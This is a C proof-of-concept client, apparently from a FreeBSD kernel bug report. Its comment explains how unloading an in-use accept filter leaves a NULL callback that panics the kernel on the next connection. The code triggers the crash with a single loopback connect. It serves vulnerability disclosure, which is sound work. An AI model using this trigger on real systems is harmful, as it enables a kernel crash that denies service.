/*
 * DF-2975 - accept-filter registry lifetime PoC (privileged setup).
 *
 * sys/kern/uipc_accf.c keeps NO refcount between registered filters and the
 * sockets using them (the MOD_UNLOAD comment at uipc_accf.c:128-133 admits
 * it).  accept_filt_del() only NULLs accf_callback (uipc_accf.c:95) while
 * the listening socket keeps so_accf->so_accept_filter pointing at the
 * registry entry.  With net.inet.accf.unloadable=1:
 *
 *   kldunload accf_http  ==>  registry entry survives (leaked) but its
 *   accf_callback is NULL.  The NEXT connection to the still-filtered
 *   listener hits uipc_socket2.c soisconnected():
 *
 *      so->so_upcall = head->so_accf->so_accept_filter->accf_callback;  (=NULL)
 *      ...
 *      so->so_upcall(so, so->so_upcallarg, 0);                          (call 0)
 *
 *   => guaranteed fatal kernel trap (call through NULL).
 *
 * Sequence (see run.sh): srv attaches filter; kldunload; cli connects.
 * The panic fires when the handshake completes (before accept() returns).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	struct sockaddr_in sa;
	int fd, port = argc > 1 ? atoi(argv[1]) : 19001;
	char buf[64];

	fd = socket(AF_INET, SOCK_STREAM, 0);
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	sa.sin_port = htons(port);
	if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		perror("connect"); return 1;
	}
	printf("connected, sending 1 byte\n"); fflush(stdout);
	if (write(fd, "G", 1) == 1)
		printf("byte sent (filter upcall should already have fired)\n");
	fflush(stdout);
	sleep(2);
	close(fd);
	return 0;
}
